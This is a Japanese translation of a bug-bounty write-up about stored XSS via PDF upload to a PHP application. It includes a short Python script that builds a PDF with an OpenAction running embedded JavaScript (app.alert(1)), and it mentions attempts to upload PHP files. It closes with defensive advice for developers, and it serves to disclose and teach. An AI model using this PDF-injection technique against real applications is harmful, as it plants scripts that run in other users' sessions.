PDF Upload Leading to Stored XSS から学ぶ

ソース:

medium.com

脆弱性:FileUpload, XSS

 

訳:

Web アプリケーションを探索しているときに、ビジネス アプリケーションのファイル アップロード機能を発見しました。

当然のことながら、バックエンドが PHP で書かれているため、さまざまな種類のファイルをアップロードしようとしたり、潜在的脆弱性を悪用して PHP ファイルをアップロードしようとしたりしました。
残念ながら、最初の試みは失敗しました。

 

ただし、PDF ファイルは正常にアップロードできました。
これを認識して、オンライン調査を行ったところ、PDF ファイルに JavaScript コードを挿入できることがわかりました。

そのため、PDF ファイル内にインジェクションを行う必要がありました。
Web サイトが必要なチェックを行わなかった場合、保存された XSS脆弱性が存在することになります。
オンラインで検索しても、単純な XSS PDF は見つかりませんでした。
そこで、Python スクリプトを実装することにしました。
この Python スクリプトJavaScript コードを PDF に埋め込みました。
この場合、 app.alert(1)。

Python コードのスニペットを次に示します。

 

#<https://github.com/kaanatmacaa>
import sys
if sys.version_info[0] < 3:
raise SystemExit("Use Python 3 (or higher) only")
import io
import bz2
import base64

def create_malpdf1(filename):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (app.alert(1))
>> trailer <</Root 1 0 R>>'''
)

if __name__ == "__main__":
print("Creating PDF files..")
create_malpdf1("test.pdf")
print("Done!")

 

PDF ファイルを作成した後、それを Web アプリケーションにアップロードすると、BOOM… XSS が保存されました。 

 

 

結論として、ユーザーや組織は通常、PDF ドキュメント内に悪意のあるスクリプトが含まれることを予期しません。
開発者は、アプリケーション内の PDF ファイルに対して強力なセキュリティ チェックを実装する必要があります。
さらに、サードパーティの PDF ファイル リーダーを使用している組織は、これらのコンポーネントを最新の状態に保つことを優先する必要があります。 

 

ほなほな。